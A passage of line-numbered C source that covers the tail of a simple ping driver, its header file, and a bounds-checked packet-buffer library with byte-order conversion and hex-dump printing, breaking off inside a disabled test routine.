53 already_sent = TRUE;
54
55 if(PING_LENGTH > max_length)
56 {
57 LOG_FATAL("Sorry, the ping packet is too long to respect the protocol's length restrictions :(");
58 exit(1);
59 }
60
61 result = safe_malloc(PING_LENGTH);
62 memcpy(result, driver->data, PING_LENGTH);
63 *length = PING_LENGTH;
64
65 return result;
66 }
67
68 driver_ping_t *driver_ping_create(select_group_t *group)
69 {
70 size_t i;
71 driver_ping_t *driver = (driver_ping_t*) safe_malloc(sizeof(driver_ping_t));
72 driver->is_shutdown = FALSE;
73
74 /* Create the data */
75 driver->data = safe_malloc(PING_LENGTH + 1);
76 memset(driver->data, 0, PING_LENGTH);
77
78 for(i = 0; i < PING_LENGTH; i++)
79 driver->data[i] = (rand() % 26) + 'a';
80
81 return driver;
82 }
83
84 void driver_ping_destroy(driver_ping_t *driver)
85 {
86 if(!driver->is_shutdown)
87 driver_ping_close(driver);
88
89 if(driver->data)
90 safe_free(driver->data);
91 safe_free(driver);
92 }
93
94 void driver_ping_close(driver_ping_t *driver)
95 {
96 driver->is_shutdown = TRUE;
97 }
0 /* driver_ping.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This is a super simple drivers that just sends some set data to the
6 * server, then verifies it when it comes back.
7 */
8
9 #ifndef __DRIVER_PING_H__
10 #define __DRIVER_PING_H__
11
12 #include "libs/select_group.h"
13
14 typedef struct
15 {
16 char *data;
17 NBBOOL is_shutdown;
18 } driver_ping_t;
19
20 driver_ping_t *driver_ping_create(select_group_t *group);
21 void driver_ping_destroy(driver_ping_t *driver);
22 void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length);
23 uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length);
24 void driver_ping_close(driver_ping_t *driver);
25
26 #endif
0 /* buffer.c
1 * By Ron
2 * Created August, 2008
3 *
4 * (See LICENSE.md)
5 */
6
7 #include <assert.h>
8 #include <stdio.h>
9 #include <stdlib.h>
10 #include <string.h>
11
12 #ifdef WIN32
13 #include <winsock2.h> /* For htons/htonl. */
14 #else
15 #include <arpa/inet.h> /* For htons/htonl. */
16 #endif
17
18 #include "buffer.h"
19 #include "memory.h"
20 #include "types.h"
21
22 /* The initial max length of the string */
23 #define STARTING_LENGTH 64
24
25 static uint16_t host_to_network_16(uint16_t data)
26 {
27 return htons(data);
28 }
29 static uint16_t host_to_host_16(uint16_t data)
30 {
31 return data;
32 }
33 static uint16_t host_to_little_endian_16(uint16_t data)
34 {
35 uint16_t network = host_to_network_16(data);
36
37 return ((network >> 8) & 0x00FF) |
38 ((network << 8) & 0xFF00);
39 }
40 static uint16_t host_to_big_endian_16(uint16_t data)
41 {
42 return host_to_network_16(data);
43 }
44
45 static uint32_t host_to_network_32(uint32_t data)
46 {
47 return htonl(data);
48 }
49 static uint32_t host_to_host_32(uint32_t data)
50 {
51 return data;
52 }
53 static uint32_t host_to_little_endian_32(uint32_t data)
54 {
55 uint32_t network = host_to_network_32(data);
56
57 return ((network << 24) & 0xFF000000) |
58 ((network << 8) & 0x00FF0000) |
59 ((network >> 8) & 0x0000FF00) |
60 ((network >> 24) & 0x000000FF);
61 }
62 static uint32_t host_to_big_endian_32(uint32_t data)
63 {
64 return host_to_network_32(data);
65 }
66
67
68 static uint16_t network_to_host_16(uint16_t data)
69 {
70 return htons(data);
71 }
72 /*static uint16_t host_to_host_16(uint16_t data)
73 {
74 return data;
75 } */
76 static uint16_t little_endian_to_host_16(uint16_t data)
77 {
78 uint16_t network = network_to_host_16(data);
79
80 return ((network >> 8) & 0x00FF) |
81 ((network << 8) & 0xFF00);
82 }
83 static uint16_t big_endian_to_host_16(uint16_t data)
84 {
85 return network_to_host_16(data);
86 }
87
88 static uint32_t network_to_host_32(uint32_t data)
89 {
90 return htonl(data);
91 }
92 /*static uint32_t host_to_host_32(uint32_t data)
93 {
94 return data;
95 } */
96 static uint32_t little_endian_to_host_32(uint32_t data)
97 {
98 uint32_t network = network_to_host_32(data);
99
100 return ((network << 24) & 0xFF000000) |
101 ((network << 8) & 0x00FF0000) |
102 ((network >> 8) & 0x0000FF00) |
103 ((network >> 24) & 0x000000FF);
104 }
105 static uint32_t big_endian_to_host_32(uint32_t data)
106 {
107 return network_to_host_32(data);
108 }
109
110
111
112 /* Create a new packet buffer */
113 buffer_t *buffer_create(BYTE_ORDER_t byte_order)
114 {
115 buffer_t *new_buffer = safe_malloc(sizeof(buffer_t));
116
117 new_buffer->byte_order = byte_order;
118 new_buffer->valid = TRUE;
119 new_buffer->position = 0;
120 new_buffer->max_length = STARTING_LENGTH;
121 new_buffer->current_length = 0;
122 new_buffer->data = safe_malloc(STARTING_LENGTH * sizeof(char));
123
124 return new_buffer;
125 }
126
127 /* Create a new packet buffer, with data. The data shouldn't include the packet header,
128 * it will be added. The length is the length of the data, without the header. */
129 buffer_t *buffer_create_with_data(BYTE_ORDER_t byte_order, const void *data, const size_t length)
130 {
131 buffer_t *new_buffer = buffer_create(byte_order);
132 if(!new_buffer)
133 DIE_MEM();
134
135 buffer_add_bytes(new_buffer, data, length);
136
137 return new_buffer;
138 }
139
140 /* Go to the start of the buffer. */
141 void buffer_reset(buffer_t *buffer)
142 {
143 buffer->position = 0;
144 }
145
146 /* Destroy the buffer and free resources. If this isn't used, memory will leak. */
147 void buffer_destroy(buffer_t *buffer)
148 {
149 if(!buffer->valid)
150 DIE("Program attempted to use deleted buffer.");
151 buffer->valid = FALSE;
152
153 memset(buffer->data, 0, buffer->max_length);
154 safe_free(buffer->data);
155
156 memset(buffer, 0, sizeof(buffer_t));
157 safe_free(buffer);
158 }
159
160 buffer_t *buffer_duplicate(buffer_t *base)
161 {
162 /* Allocate memory. */
163 buffer_t *new = safe_malloc(sizeof(buffer_t));
164
165 /* Make an exact copy (won't copy pointers properly). */
166 memcpy(new, base, sizeof(buffer_t));
167
168 /* Create a new 'data' pointer. */
169 new->data = safe_malloc(new->max_length);
170
171 /* Copy the data into the new data pointer. */
172 memcpy(new->data, base->data, new->max_length);
173
174 return new;
175 }
176
177 size_t buffer_get_length(buffer_t *buffer)
178 {
179 return buffer->current_length;
180 }
181
182 size_t buffer_get_current_offset(buffer_t *buffer)
183 {
184 return buffer->position;
185 }
186
187 void buffer_set_current_offset(buffer_t *buffer, size_t position)
188 {
189 buffer->position = position;
190 }
191
192 size_t buffer_get_remaining_bytes(buffer_t *buffer)
193 {
194 return buffer_get_length(buffer) - buffer_get_current_offset(buffer);
195 }
196
197 void buffer_clear(buffer_t *buffer)
198 {
199 memset(buffer->data, 0, buffer->current_length);
200 buffer->position = 0;
201 buffer->current_length = 0;
202 }
203
204 void buffer_read_align(buffer_t *buffer, size_t align)
205 {
206 while(buffer_get_current_offset(buffer) % align)
207 buffer_read_next_int8(buffer);
208 }
209
210 void buffer_write_align(buffer_t *buffer, size_t align)
211 {
212 while(buffer_get_length(buffer) % align)
213 buffer_add_int8(buffer, 0);
214 }
215
216 void buffer_consume(buffer_t *buffer, size_t count)
217 {
218 buffer->position += count;
219 }
220
221 uint8_t *buffer_create_string(buffer_t *buffer, size_t *length)
222 {
223 uint8_t *ret;
224
225 if(!buffer->valid)
226 DIE("Program attempted to use deleted buffer.");
227
228 ret = safe_malloc(buffer_get_length(buffer));
229 memcpy(ret, buffer->data, buffer_get_length(buffer));
230
231 if(length)
232 *length = buffer_get_length(buffer);
233
234 return ret;
235 }
236
237 uint8_t *buffer_create_string_and_destroy(buffer_t *buffer, size_t *length)
238 {
239 uint8_t *ret = buffer_create_string(buffer, length);
240
241 buffer_destroy(buffer);
242
243 return ret;
244 }
245
246 uint8_t *buffer_read_remaining_bytes(buffer_t *buffer, size_t *length, size_t max_bytes, NBBOOL consume)
247 {
248 uint8_t *ret;
249
250 if(!buffer->valid)
251 DIE("Program attempted to use a deleted buffer.");
252
253 if(buffer->current_length < buffer->position)
254 DIE("Position is outside the buffer");
255
256 /* The number of bytes remaining */
257 *length = buffer->current_length - buffer->position;
258
259 if(max_bytes != (size_t)-1 && *length > max_bytes)
260 *length = max_bytes;
261
262 /* Allocate room for that many bytes */
263 if(*length+1 < *length)
264 DIE("Overflow.");
265
266 ret = safe_malloc(*length+1);
267
268 /* Copy the data into the new buffer */
269 if(consume)
270 buffer_read_next_bytes(buffer, ret, *length);
271 else
272 buffer_peek_next_bytes(buffer, ret, *length);
273
274 /* Return the new buffer */
275 return ret;
276 }
277
278 /* Add data to the end of the buffer */
279 buffer_t *buffer_add_int8(buffer_t *buffer, const uint8_t data)
280 {
281 if(!buffer->valid)
282 DIE("Program attempted to use deleted buffer.");
283
284 buffer_add_bytes(buffer, &data, 1);
285
286 return buffer;
287 }
288
289 buffer_t *buffer_add_int16(buffer_t *buffer, const uint16_t data)
290 {
291 uint16_t converted;
292
293 if(!buffer->valid)
294 DIE("Program attempted to use deleted buffer.");
295
296 switch(buffer->byte_order)
297 {
298 case BO_NETWORK: converted = host_to_network_16(data); break;
299 case BO_HOST: converted = host_to_host_16(data); break;
300 case BO_LITTLE_ENDIAN: converted = host_to_little_endian_16(data); break;
301 case BO_BIG_ENDIAN: converted = host_to_big_endian_16(data); break;
302 }
303
304 buffer_add_bytes(buffer, &converted, 2);
305
306 return buffer;
307 }
308
309 buffer_t *buffer_add_int32(buffer_t *buffer, const uint32_t data)
310 {
311 uint32_t converted;
312
313 if(!buffer->valid)
314 DIE("Program attempted to use deleted buffer.");
315
316 switch(buffer->byte_order)
317 {
318 case BO_NETWORK: converted = host_to_network_32(data); break;
319 case BO_HOST: converted = host_to_host_32(data); break;
320 case BO_LITTLE_ENDIAN: converted = host_to_little_endian_32(data); break;
321 case BO_BIG_ENDIAN: converted = host_to_big_endian_32(data); break;
322 }
323
324 buffer_add_bytes(buffer, &converted, 4);
325
326 return buffer;
327 }
328
329 buffer_t *buffer_add_ntstring(buffer_t *buffer, const char *data)
330 {
331 if(!buffer->valid)
332 DIE("Program attempted to use deleted buffer.");
333
334 buffer_add_bytes(buffer, data, strlen(data) + 1);
335
336 return buffer;
337 }
338
339 buffer_t *buffer_add_string(buffer_t *buffer, const char *data)
340 {
341 if(!buffer->valid)
342 DIE("Program attempted to use deleted buffer.");
343
344 buffer_add_bytes(buffer, data, strlen(data));
345
346 return buffer;
347 }
348
349 buffer_t *buffer_add_unicode(buffer_t *buffer, const char *data)
350 {
351 size_t i;
352 if(!buffer->valid)
353 DIE("Program attempted to use deleted buffer.");
354
355 for(i = 0; i < (strlen(data) + 1); i++)
356 buffer_add_int16(buffer, data[i]);
357
358 return buffer;
359 }
360
361 buffer_t *buffer_add_bytes(buffer_t *buffer, const void *data, const size_t length)
362 {
363 if(!buffer->valid)
364 DIE("Program attempted to use deleted buffer.");
365
366 if(buffer->current_length + length < buffer->current_length)
367 DIE("Overflow.");
368
369 if(length >= 0x80000000)
370 DIE("Too big!");
371
372 /* Resize the buffer, if necessary. */
373 if(buffer->current_length + length > buffer->max_length)
374 {
375 do
376 {
377 /* Check for overflow. */
378 if(buffer->max_length << 1 < buffer->max_length)
379 DIE("Overflow.");
380
381 /* Double the length. */
382 buffer->max_length = buffer->max_length << 1;
383 }
384 while(buffer->current_length + length > buffer->max_length);
385
386 buffer->data = safe_realloc(buffer->data, buffer->max_length);
387 }
388
389 memcpy(buffer->data + buffer->current_length, data, length);
390
391 buffer->current_length += length;
392
393 return buffer;
394 }
395
396 buffer_t *buffer_add_buffer(buffer_t *buffer, const buffer_t *source)
397 {
398 if(!buffer->valid)
399 DIE("Program attempted to use deleted buffer.");
400 if(!source->valid)
401 DIE("Program attempted to use deleted buffer.");
402
403 buffer_add_bytes(buffer, source->data, source->current_length);
404
405 return buffer;
406 }
407
408 buffer_t *buffer_add_int8_at(buffer_t *buffer, const uint8_t data, size_t offset)
409 {
410 return buffer_add_bytes_at(buffer, &data, 1, offset);
411 }
412
413 buffer_t *buffer_add_int16_at(buffer_t *buffer, const uint16_t data, size_t offset)
414 {
415 uint16_t converted;
416
417 if(!buffer->valid)
418 DIE("Program attempted to use deleted buffer.");
419
420 switch(buffer->byte_order)
421 {
422 case BO_NETWORK: converted = host_to_network_16(data); break;
423 case BO_HOST: converted = host_to_host_16(data); break;
424 case BO_LITTLE_ENDIAN: converted = host_to_little_endian_16(data); break;
425 case BO_BIG_ENDIAN: converted = host_to_big_endian_16(data); break;
426 }
427
428 return buffer_add_bytes_at(buffer, &converted, 2, offset);
429 }
430
431 buffer_t *buffer_add_int32_at(buffer_t *buffer, const uint32_t data, size_t offset)
432 {
433 uint32_t converted;
434
435 if(!buffer->valid)
436 DIE("Program attempted to use deleted buffer.");
437
438 switch(buffer->byte_order)
439 {
440 case BO_NETWORK: converted = host_to_network_32(data); break;
441 case BO_HOST: converted = host_to_host_32(data); break;
442 case BO_LITTLE_ENDIAN: converted = host_to_little_endian_32(data); break;
443 case BO_BIG_ENDIAN: converted = host_to_big_endian_32(data); break;
444 }
445
446 return buffer_add_bytes_at(buffer, &converted, 4, offset);
447 }
448
449 buffer_t *buffer_add_ntstring_at(buffer_t *buffer, const char *data, size_t offset)
450 {
451 return buffer_add_bytes_at(buffer, data, strlen(data) + 1, offset);
452 }
453
454 buffer_t *buffer_add_string_at(buffer_t *buffer, const char *data, size_t offset)
455 {
456 return buffer_add_bytes_at(buffer, data, strlen(data), offset);
457 }
458
459 buffer_t *buffer_add_unicode_at(buffer_t *buffer, const char *data, size_t offset)
460 {
461 size_t i;
462 if(!buffer->valid)
463 DIE("Program attempted to use deleted buffer.");
464
465 for(i = 0; i < (strlen(data) + 1); i++)
466 buffer_add_int16_at(buffer, data[i], offset + (i * 2));
467
468 return buffer;
469 }
470
471 buffer_t *buffer_add_bytes_at(buffer_t *buffer, const void *data, const size_t length, size_t offset)
472 {
473 /* Ensure the buffer is valid. */
474 if(!buffer->valid)
475 DIE("Program attempted to use deleted buffer.");
476
477 /* Funnily enough, this works the same for reading as for writing. */
478 if(!buffer_can_read_bytes_at(buffer, offset, length))
479 DIE("Program read off the end of the buffer.");
480
481 memcpy(buffer->data + offset, data, length);
482
483 return buffer;
484 }
485
486 buffer_t *buffer_add_buffer_at(buffer_t *buffer, const buffer_t *source, size_t offset)
487 {
488 if(!source->valid)
489 DIE("Program attempted to use deleted buffer.");
490
491 buffer_add_bytes_at(buffer, source->data, source->current_length, offset);
492
493 return buffer;
494 }
495
496
497 uint8_t buffer_read_next_int8(buffer_t *buffer)
498 {
499 uint8_t ret = buffer_read_int8_at(buffer, buffer->position);
500 buffer->position += 1;
501 return ret;
502 }
503 uint16_t buffer_read_next_int16(buffer_t *buffer)
504 {
505 uint16_t ret = buffer_read_int16_at(buffer, buffer->position);
506 buffer->position += 2;
507 return ret;
508 }
509 uint32_t buffer_read_next_int32(buffer_t *buffer)
510 {
511 uint32_t ret = buffer_read_int32_at(buffer, buffer->position);
512 buffer->position += 4;
513 return ret;
514 }
515 char *buffer_read_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length)
516 {
517 buffer_read_ntstring_at(buffer, buffer->position, data_ret, max_length);
518 buffer->position += strlen(data_ret) + 1;
519
520 return data_ret;
521 }
522 char *buffer_read_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length)
523 {
524 buffer_read_unicode_at(buffer, buffer->position, data_ret, max_length);
525 buffer->position += (strlen(data_ret) + 1) * 2;
526
527 return data_ret;
528 }
529 char *buffer_read_next_unicode_data(buffer_t *buffer, char *data_ret, size_t length)
530 {
531 buffer_read_unicode_data_at(buffer, buffer->position, data_ret, length);
532 buffer->position += length * 2;
533
534 return data_ret;
535 }
536 void *buffer_read_next_bytes(buffer_t *buffer, void *data, size_t length)
537 {
538 buffer_read_bytes_at(buffer, buffer->position, data, length);
539 buffer->position += length;
540
541 return data;
542 }
543
544 char *buffer_alloc_next_ntstring(buffer_t *buffer)
545 {
546 char *result = buffer_alloc_ntstring_at(buffer, buffer->position);
547 buffer->position += strlen(result) + 1;
548 return result;
549 }
550
551 uint8_t buffer_peek_next_int8(buffer_t *buffer)
552 {
553 return buffer_read_int8_at(buffer, buffer->position);
554 }
555 uint16_t buffer_peek_next_int16(buffer_t *buffer)
556 {
557 return buffer_read_int16_at(buffer, buffer->position);
558 }
559 uint32_t buffer_peek_next_int32(buffer_t *buffer)
560 {
561 return buffer_read_int32_at(buffer, buffer->position);
562 }
563 char *buffer_peek_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length)
564 {
565 return buffer_read_ntstring_at(buffer, buffer->position, data_ret, max_length);
566 }
567 char *buffer_peek_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length)
568 {
569 return buffer_read_unicode_at(buffer, buffer->position, data_ret, max_length);
570 }
571 void *buffer_peek_next_bytes(buffer_t *buffer, void *data, size_t length)
572 {
573 return buffer_read_bytes_at(buffer, buffer->position, data, length);
574 }
575
576 uint8_t buffer_read_int8_at(buffer_t *buffer, size_t offset)
577 {
578 uint8_t ret;
579
580 if(!buffer->valid)
581 DIE("Program attempted to use deleted buffer.");
582
583 buffer_read_bytes_at(buffer, offset, &ret, 1);
584
585 return ret;
586 }
587
588 uint16_t buffer_read_int16_at(buffer_t *buffer, size_t offset)
589 {
590 uint16_t ret;
591
592 if(!buffer->valid)
593 DIE("Program attempted to use deleted buffer.");
594
595 buffer_read_bytes_at(buffer, offset, &ret, 2);
596
597 switch(buffer->byte_order)
598 {
599 case BO_NETWORK: ret = network_to_host_16(ret); break;
600 case BO_HOST: ret = host_to_host_16(ret); break;
601 case BO_LITTLE_ENDIAN: ret = little_endian_to_host_16(ret); break;
602 case BO_BIG_ENDIAN: ret = big_endian_to_host_16(ret); break;
603 }
604
605 return ret;
606 }
607
608 uint32_t buffer_read_int32_at(buffer_t *buffer, size_t offset)
609 {
610 uint32_t ret;
611
612 if(!buffer->valid)
613 DIE("Program attempted to use deleted buffer.");
614
615 buffer_read_bytes_at(buffer, offset, &ret, 4);
616
617 switch(buffer->byte_order)
618 {
619 case BO_NETWORK: ret = network_to_host_32(ret); break;
620 case BO_HOST: ret = host_to_host_32(ret); break;
621 case BO_LITTLE_ENDIAN: ret = little_endian_to_host_32(ret); break;
622 case BO_BIG_ENDIAN: ret = big_endian_to_host_32(ret); break;
623 }
624
625 return ret;
626 }
627
628 char *buffer_read_ntstring_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length)
629 {
630 size_t i = 0;
631 uint8_t ch;
632
633 if(!buffer->valid)
634 DIE("Program attempted to use deleted buffer.");
635 if(!buffer_can_read_ntstring_at(buffer, offset, max_length))
636 DIE("Program read off the end of the buffer.");
637
638 do
639 {
640 ch = buffer->data[offset + i];
641 data_ret[i] = ch;
642 i++;
643 }
644 while(ch && i < max_length);
645
646 data_ret[i - 1] = 0;
647
648 return data_ret;
649 }
650
651 char *buffer_read_unicode_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length)
652 {
653 size_t i = 0;
654 uint8_t ch;
655
656 if(!buffer->valid)
657 DIE("Program attempted to use deleted buffer.");
658 if(!buffer_can_read_ntstring_at(buffer, offset, max_length))
659 DIE("Program read off the end of the buffer.");
660
661 do
662 {
663 ch = (uint8_t)buffer_read_int16_at(buffer, offset + (i * 2));
664 data_ret[i] = ch;
665 i++;
666 }
667 while(ch && i < max_length);
668
669 data_ret[i - 1] = 0;
670
671 return data_ret;
672 }
673
674 char *buffer_read_unicode_data_at(buffer_t *buffer, size_t offset, char *data_ret, size_t length)
675 {
676 size_t i = 0;
677
678 if(!buffer->valid)
679 DIE("Program attempted to use deleted buffer.");
680 if(length * 2 < length)
681 DIE("Overflow.");
682 if(!buffer_can_read_bytes_at(buffer, offset, length * 2))
683 DIE("Program read off the end of the buffer.");
684
685 for(i = 0; i < length; i++)
686 {
687 data_ret[i] = (char)buffer_read_int16_at(buffer, offset + (i * 2));
688 }
689
690 return data_ret;
691 }
692
693 void *buffer_read_bytes_at(buffer_t *buffer, size_t offset, void *data, size_t length)
694 {
695 if(!buffer->valid)
696 DIE("Program attempted to use deleted buffer.");
697 if(!buffer_can_read_bytes_at(buffer, offset, length))
698 DIE("Program read off the end of the buffer.");
699
700 memcpy(data, buffer->data + offset, length);
701
702 return data;
703 }
704
705 char *buffer_alloc_ntstring_at(buffer_t *buffer, size_t offset)
706 {
707 size_t length = strlen((char*)buffer->data + offset) + 1;
708 char *data_ret = safe_malloc(length);
709
710 /* Catch overflows. */
711 if(length == 0)
712 DIE("Overflow?");
713
714 return buffer_read_ntstring_at(buffer, offset, data_ret, length);
715 }
716
717 /* These NBBOOL functions check if there's enough bytes left in the buffer to remove
718 * specified data. These should always be used on the server side to verify valid
719 * packets */
720 NBBOOL buffer_can_read_int8(buffer_t *buffer)
721 {
722 return buffer_can_read_bytes(buffer, 1);
723 }
724 NBBOOL buffer_can_read_int16(buffer_t *buffer)
725 {
726 return buffer_can_read_bytes(buffer, 2);
727 }
728 NBBOOL buffer_can_read_int32(buffer_t *buffer)
729 {
730 return buffer_can_read_bytes(buffer, 4);
731 }
732 NBBOOL buffer_can_read_ntstring(buffer_t *buffer)
733 {
734 size_t i;
735 if(!buffer->valid)
736 DIE("Program attempted to use deleted buffer.");
737
738 for(i = buffer->position; i < buffer->current_length; i++)
739 if(buffer->data[i] == '\0')
740 return TRUE;
741
742 return FALSE;
743 }
744 /* It's important for the logic in this function to closely match the logic in read_unicode_at(), which
745 * is why I convert it to a uint8_t. */
746 NBBOOL buffer_can_read_unicode(buffer_t *buffer)
747 {
748 size_t i;
749 if(!buffer->valid)
750 DIE("Program attempted to use deleted buffer.");
751
752 for(i = buffer->position; i < buffer->current_length; i++)
753 if(((uint8_t)buffer_read_int16_at(buffer, i)) == 0)
754 return TRUE;
755
756 return FALSE;
757 }
758 NBBOOL buffer_can_read_bytes(buffer_t *buffer, size_t length)
759 {
760 if(!buffer->valid)
761 DIE("Program attempted to use deleted buffer.");
762 if(buffer->position + length < buffer->position)
763 DIE("Overflow.");
764
765 return buffer_can_read_bytes_at(buffer, buffer->position, length);
766 }
767
768 NBBOOL buffer_can_read_int8_at(buffer_t *buffer, size_t offset)
769 {
770 return buffer_can_read_bytes_at(buffer, offset, 1);
771 }
772
773 NBBOOL buffer_can_read_int16_at(buffer_t *buffer, size_t offset)
774 {
775 return buffer_can_read_bytes_at(buffer, offset, 2);
776 }
777
778 NBBOOL buffer_can_read_int32_at(buffer_t *buffer, size_t offset)
779 {
780 return buffer_can_read_bytes_at(buffer, offset, 4);
781 }
782
783 NBBOOL buffer_can_read_ntstring_at(buffer_t *buffer, size_t offset, size_t max_length)
784 {
785 size_t i;
786 NBBOOL good = TRUE;
787 NBBOOL done = FALSE;
788
789 for(i = 0; i < max_length - 1 && !done && good; i++)
790 {
791 if(buffer->data[offset + i] == '\0')
792 done = TRUE;
793
794 if(offset + i + 1 > buffer->current_length)
795 good = FALSE;
796 }
797
798 return good;
799 }
800
801 NBBOOL buffer_can_read_unicode_at(buffer_t *buffer, size_t offset, size_t max_length)
802 {
803 size_t i;
804 NBBOOL good = TRUE;
805 NBBOOL done = FALSE;
806
807 for(i = 0; i < max_length - 1 && !done && good; i++)
808 {
809 if(!buffer_can_read_int16_at(buffer, offset + (i * 2)))
810 good = FALSE;
811 else if(((uint8_t)buffer_read_int16_at(buffer, offset + (i * 2))) == 0)
812 done = TRUE;
813 }
814
815 return good;
816 }
817
818 NBBOOL buffer_can_read_bytes_at(buffer_t *buffer, size_t offset, size_t length)
819 {
820 if(!buffer->valid)
821 DIE("Program attempted to use deleted buffer.");
822 if(offset + length < offset)
823 DIE("Overflow");
824
825 /* printf("Offset = %d\n", offset);
826 printf("Length = %d\n", length);
827 printf("Current length = %d\n", buffer->current_length); */
828
829 /* A special case - we can always read zero-length strings {*/
830 if(length == 0)
831 return TRUE;
832
833 return (offset + length - 1) < buffer->current_length;
834 }
835
836
837 static char get_character_from_byte(uint8_t byte)
838 {
839 if(byte < 0x20 || byte > 0x7F)
840 return '.';
841 return byte;
842 }
843
844 /* Print out the buffer in a nice format */
845 void buffer_print(buffer_t *buffer)
846 {
847 size_t length = buffer->current_length;
848 size_t i, j;
849 if(!buffer->valid)
850 DIE("Program attempted to use deleted buffer.");
851 printf("Position = %zd\n", buffer->position);
852
853 printf("Buffer contents:");
854 for(i = 0; i < length; i++)
855 {
856 if(!(i % 16))
857 {
858 if(i > 0)
859 {
860 printf(" ");
861 for(j = 16; j > 0; j--)
862 {
863 printf("%c", get_character_from_byte(buffer->data[i - j]));
864 }
865 }
866 if(i == buffer->position)
867 printf("\n%04zX:<", i);
868 else
869 printf("\n%04zX: ", i);
870 }
871
872 if(i == buffer->position)
873 printf("%02X>", buffer->data[i]);
874 else if(i == buffer->position - 1)
875 printf("%02X<", buffer->data[i]);
876 else
877 printf("%02X ", buffer->data[i]);
878 }
879
880 for(i = length % 16; i < 17; i++)
881 printf(" ");
882 for(i = length - (length % 16); i < length; i++)
883 printf("%c", get_character_from_byte(buffer->data[i]));
884
885 printf("\nLength: 0x%zX (%zd)\n", length, length);
886 }
887
888 /* Returns a pointer to the actual buffer */
889 uint8_t *buffer_get(buffer_t *buffer, size_t *length)
890 {
891 if(!buffer->valid)
892 DIE("Program attempted to use deleted buffer.");
893 *length = buffer->current_length;
894 return buffer->data;
895 }
896
897 #if 0
898 int main(int argc, char *argv[])
899 {
900 size_t i;
901 buffer_t *buffer;
902
903 char unicode[8];
904 char data[17];
905 uint8_t data8;
906 uint16_t data16;
907 uint32_t data32;
908
909 printf("\n\n-----------------------\n");
910 printf("Host ordering:\n");
911 printf("-----------------------\n\n");
912 buffer = buffer_create(BO_HOST);
913
914 buffer_add_unicode(buffer, "unicode");
915 buffer_add_ntstring(buffer, "ntString #1");
916 buffer_add_ntstring(buffer, "ntString #2");
917 buffer_add_int8(buffer, 0x01);
918 buffer_add_int16(buffer, 0x0203);
919 buffer_add_int32(buffer, 0x04050607);
920 buffer_add_int32(buffer, 0x08090a0b);
921 buffer_add_int32(buffer, 0x0c0d0e0f);
922 buffer_print(buffer);
923
924 buffer_read_next_unicode(buffer, unicode, 8);
925 printf("Unicode: %s\n", unicode);
926 for(i = 0; i < 2; i++)
927 {
928 buffer_read_next_ntstring(buffer, data, 16);
929 printf("Read %d: %s\n", i, data);
930 }
931 buffer_print(buffer);
932
933 data8 = buffer_read_next_int8(buffer);
934 buffer_print(buffer);
935 data16 = buffer_read_next_int16(buffer);
936 buffer_print(buffer);
937 data32 = buffer_read_next_int32(buffer);
938 buffer_print(buffer);
939 printf("%08x\n", data8);
940 printf("%08x\n", data16);
941 printf("%08x\n", data32);
942 data32 = buffer_read_next_int32(buffer);
943 printf("%08x\n", data32);
944 data32 = buffer_read_next_int32(buffer);
945 printf("%08x\n", data32);
946 buffer_destroy(buffer);
947
948
949
950 printf("\n\n-----------------------\n");
951 printf("Network ordering:\n");
952 printf("-----------------------\n\n");
953 buffer = buffer_create(BO_NETWORK);
954
955 buffer_add_unicode(buffer, "unicode");
956 buffer_add_ntstring(buffer, "ntString #1");
957 buffer_add_ntstring(buffer, "ntString #2");
958 buffer_add_int8(buffer, 0x01);
959 buffer_add_int16(buffer, 0x0203);
960 buffer_add_int32(buffer, 0x04050607);
961 buffer_add_int32(buffer, 0x08090a0b);
962 buffer_add_int32(buffer, 0x0c0d0e0f);
963 buffer_print(buffer);
964
965 buffer_read_next_unicode(buffer, unicode, 8);
966 printf("Unicode: %s\n", unicode);
967 for(i = 0; i < 2; i++)
968 {
969 buffer_read_next_ntstring(buffer, data, 16);
970 printf("Read %d: %s\n", i, data);
971 }
972 buffer_print(buffer);
973
974 data8 = buffer_read_next_int8(buffer);
975 data16 = buffer_read_next_int16(buffer);
976 data32 = buffer_read_next_int32(buffer);
977 printf("%08x\n", data8);
978 printf("%08x\n", data16);
979 printf("%08x\n", data32);
980 data32 = buffer_read_next_int32(buffer);
981 printf("%08x\n", data32);
982 data32 = buffer_read_next_int32(buffer);
983 printf("%08x\n", data32);
984 buffer_destroy(buffer);
985
986
987
988
989
990 printf("\n\n-----------------------\n");
991 printf("Little endian ordering:\n");
992 printf("-----------------------\n\n");
993 buffer = buffer_create(BO_LITTLE_ENDIAN);
994
995 buffer_add_unicode(buffer, "unicode");
996 buffer_add_ntstring(buffer, "ntString #1");
997 buffer_add_ntstring(buffer, "ntString #2");
998 buffer_add_int8(buffer, 0x01);
999 buffer_add_int16(buffer, 0x0203);
1000 buffer_add_int32(buffer, 0x04050607);
1001 buffer_add_int32(buffer, 0x08090a0b);
1002 buffer_add_int32(buffer, 0x0c0d0e0f);
1003 buffer_print(buffer);
1004
1005 buffer_read_next_unicode(buffer, unicode, 8);
1006 printf("Unicode: %s\n", unicode);
1007 for(i = 0; i < 2; i++)
1008 {
1009 buffer_read_next_ntstring(buffer, data, 16);
1010 printf("Read %d: %s\n", i, data);
1011 }
1012 buffer_print(buffer);
1013
1014 data8 = buffer_read_next_int8(buffer);
1015 data16 = buffer_read_next_int16(buffer);
1016 data32 = buffer_read_next_int32(buffer);
1017 printf("%08x\n", data8);
1018 printf("%08x\n", data16);
1019 printf("%08x\n", data32);
1020 data32 = buffer_read_next_int32(buffer);
1021 printf("%08x\n", data32);
1022 data32 = buffer_read_next_int32(buffer);
1023 printf("%08x\n", data32);
1024 buffer_destroy(buffer);
1025
1026
1027
1028 printf("\n\n-----------------------\n");
1029 printf("Big endian ordering:\n");
1030 printf("-----------------------\n\n");
1031 buffer = buffer_create(BO_BIG_ENDIAN);
1032
1033 buffer_add_unicode(buffer, "unicode");
1034 buffer_add_ntstring(buffer, "ntString #1");
1035 buffer_add_ntstring(buffer, "ntString #2");
1036 buffer_add_int8(buffer, 0x01);
1037 buffer_add_int16(buffer, 0x0203);
1038 buffer_add_int32(buffer, 0x04050607);
1039 buffer_add_int32(buffer, 0x08090a0b);
